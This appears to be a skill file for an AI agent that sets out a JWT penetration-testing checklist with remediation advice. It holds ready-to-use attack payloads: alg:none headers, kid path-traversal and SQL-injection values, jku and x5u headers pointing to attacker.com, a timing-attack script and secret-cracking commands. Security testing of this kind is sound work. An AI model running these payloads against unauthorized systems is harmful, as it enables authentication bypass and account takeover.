--- name: offensive-jwt description: "JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps." --- ## Overview Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed. ## Quick Reference: Misconfigurations to Check - Algorithm set to `none` — signature verification bypassed entirely - Algorithm switching between `RSA` and `HMAC` (confusion attack) - Weak or guessable HMAC secret (brute-forceable) - `kid`, `jku`, `jwk`, `x5u` header parameters accepted without validation - Expired or tampered tokens accepted by server - Sensitive data stored unencrypted in payload Useful tool: [JWT Tool](https://github.com/ticarpi/jwt_tool) ## Mechanisms JWTs (RFC 7519) consist of three Base64URL-encoded parts: `header.payload.signature`. **Signing algorithms:** | Algorithm | Type | Notes | |-----------|------|-------| | HS256/384/512 | Symmetric HMAC | Shared secret; confusion target | | RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret | | ES256/384/512 | Asymmetric ECDSA | | | PS256/384/512 | RSASSA-PSS | | | EdDSA (Ed25519/Ed448) | Asymmetric | | | none | Unsigned | Critically insecure | **Additional pitfalls:** - JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected `typ`/`cty` - JWKS retrieval: SSRF via `jku`/`x5u`, insecure TLS, poisoned key caching, `kid` collisions - Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients ## Hunt: Identifying JWT Usage 1. Check `Authorization: Bearer ` headers in all requests 2. Look for cookies containing JWT structures (`eyJ...`) 3. Examine browser local/session storage 4. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters 5. Note any `kid`, `jku`, `jwk`, `x5u` fields in the header — these are attack surfaces ## Vulnerability Map ``` JWT Vulnerabilities ├── Algorithm Bypass │ ├── alg:none attack │ └── RS256→HS256 confusion (public key as HMAC secret) ├── Weak Secret Key → Brute force ├── kid Parameter Injection │ ├── SQL injection via kid │ └── Path traversal via kid ├── Header Injection │ ├── jwk (inline fake key) │ ├── jku/x5u (remote attacker-controlled JWKS) │ └── JWKS cache poisoning └── Missing / Broken Validation ├── No signature check ├── Expired tokens accepted └── iss/aud/exp not validated ``` ## Vulnerabilities ### Algorithm Vulnerabilities - **alg:none** — Some libraries disable signature validation when `alg` is `none` or a case variant (`None`, `NONE`, `nOnE`) - **Algorithm Confusion (RS256→HS256)** — Server uses RSA public key as HMAC secret when attacker switches `alg` to HS256; attacker re-signs token with the public key - **Key ID (`kid`) Manipulation** — Exploiting `kid` to load wrong keys or inject file paths / SQL; enforce strict lookups ### Signature Vulnerabilities - **Weak HMAC Secrets** — Brute-forceable with dictionary or hashcat - **Missing Signature Validation** — Token accepted without any verification - **Broken Validation** — Implementation errors in signature checking logic ### Implementation Issues - **Missing Claims Validation** — `exp`, `nbf`, `aud`, `iss` not verified - **Insufficient Entropy** — Predictable JWT IDs or tokens - **No Expiration** — Tokens valid indefinitely - **Insecure Transport** — Token sent over HTTP - **Debug Leakage** — Detailed error messages expose implementation ### Header Injection Attacks - **JWK Injection** — Supply a custom attacker-controlled public key via the `jwk` header - **JKU Manipulation** — Point `jku` (JWK Set URL) to attacker-controlled JWKS endpoint - **x5u Misuse** — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects - **JWKS Cache Poisoning** — Force caches to accept attacker keys via `kid` collisions or response header manipulation - **`crit` Header Abuse** — Server ignores unknown critical parameters, enabling bypass ### Information Disclosure - Sensitive data (PII, credentials, session details) stored unencrypted in payload - Internal service/backend information leaked via claims ## Additional Attack Vectors ### Mobile App JWT Storage **Android:** - `SharedPreferences`: Check if world-readable; location `/data/data//shared_prefs/` - Keystore extraction: root device or exploit app - Backup extraction: `adb backup -f backup.ab ` (if `allowBackup=true`) - Tools: Frida, objection, MobSF **iOS:** - Keychain: Check `kSecAttrAccessible` — `kSecAttrAccessibleAlways` is insecure - iTunes/iCloud backup extraction: unencrypted backups expose Keychain - Jailbreak + Keychain-Dumper for full extraction - Tools: Frida, objection, idb **React Native / Hybrid:** - `AsyncStorage` stored in plain text (Android SQLite DB, iOS plist); no encryption by default ```bash # Android — check SharedPreferences adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml" # iOS — extract from backup idevicebackup2 backup --full /path/to/backup # Use plist/sqlite tools to extract JWT ``` ### JWT Confusion Attacks - **SAML-JWT Confusion** — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path - **API Key-JWT Confusion** — Test sending JWT where API key expected and vice versa - **Session Cookie-JWT Hybrid** — Test expired JWT with valid session cookie; inject JWT claims into session - **OAuth Token Confusion** — Send ID token (JWT) to resource server expecting opaque access token ```bash # Try API key where JWT expected curl -H "Authorization: Bearer " https://api.target/resource # Try JWT where API key expected curl -H "X-API-Key: " https://api.target/resource ``` ### Timing Attacks on HMAC Non-constant-time comparison leaks the HMAC secret character by character via response time differences. ```python import requests, time def time_request(signature): start = time.perf_counter() r = requests.get('https://target/api', headers={'Authorization': f'Bearer header.payload.{signature}'}) return time.perf_counter() - start # Brute-force first byte — longer response time indicates correct byte for byte in range(256): sig = bytes([byte]) + b'\x00' * 31 t = time_request(sig.hex()) ``` ### JWT in URL Parameters - Tokens in GET URLs appear in server logs, proxy logs, browser history - Leaked via `Referer` header to external sites; CDN/cache logs may persist tokens ```bash curl "https://api.target/resource?token=eyJ..." curl "https://api.target/resource?access_token=eyJ..." curl "https://api.target/resource?jwt=eyJ..." ``` Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics. ## Manual Testing Steps 1. **Decode and Inspect:** ``` base64url_decode(header) . base64url_decode(payload) . signature ``` 2. **Test `none` Algorithm** (try all case variants): ``` {"alg":"none","typ":"JWT"}.payload."" {"alg":"None","typ":"JWT"}.payload."" {"alg":"NONE","typ":"JWT"}.payload."" {"alg":"nOnE","typ":"JWT"}.payload."" ``` 3. **Algorithm Confusion (RS256→HS256):** ``` # Re-sign with RSA public key used as HMAC secret {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload. ``` 4. **kid Parameter Attacks:** ``` {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"} {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"} {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"} ``` 5. **JWK/JKU Injection:** ``` {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}} {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"} ``` 6. **x5u / crit Handling:** ``` {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"} {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null} ``` 7. **Brute Force HMAC Secret:** ```bash python3 jwt_tool.py -C -d wordlist.txt ``` 8. **Test Missing Claim Validation:** - Remove or modify `exp` (expiration) - Change `iss` (issuer) or `aud` (audience) - Modify `iat` (issued at) or `nbf` (not before) ## Automated Testing with JWT_Tool ```bash # Basic token inspection python3 jwt_tool.py # Full vulnerability scan python3 jwt_tool.py -M all # Targeted attacks python3 jwt_tool.py -X a # Algorithm confusion python3 jwt_tool.py -X n # Null/none signature python3 jwt_tool.py -X i # Identity theft python3 jwt_tool.py -X k # Key confusion # Crack HMAC secret python3 jwt_tool.py -C -d wordlist.txt ``` **Other tools:** - JWT.io — basic token inspection and debugging - Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing - jwtXploiter — advanced JWT vulnerability scanning - c-jwt-cracker — high-speed HMAC brute force (C implementation) - Frida, objection, MobSF — mobile JWT extraction ## Remediation Recommendations - Use short-lived access tokens; rotate refresh tokens frequently - Always validate `aud` (audience) and `iss` (issuer) claims - Disable `none` algorithm; prevent algorithm downgrades; pin `alg` per client/issuer - Ensure key material loaded for verification matches `alg`; reject mismatches - Reject tokens with unknown `crit` header parameters - Validate JWKS over pinned TLS; disallow remote `jku`/`x5u` except trusted domains; short-TTL key caching with `kid` uniqueness - Enforce maximum token length; disable JWE compression unless required - Maintain server-side deny-list keyed by `jti` for early revocation - For DPoP tokens (`typ:"dpop+jwt"`): verify proof binds to HTTP request; enforce one-time nonce use - Bind sessions to device when possible; rotate refresh tokens on every use - Prefer `SameSite=Lax/Strict` HttpOnly cookies for web; avoid localStorage for access tokens ## Alternatives & Modern Mitigations - **PASETO** — removes algorithm negotiation entirely; eliminates confusion attacks - **Macaroons** — bearer tokens with attenuable, caveat-based delegation - **DPoP and mTLS** — bind tokens to the client to prevent replay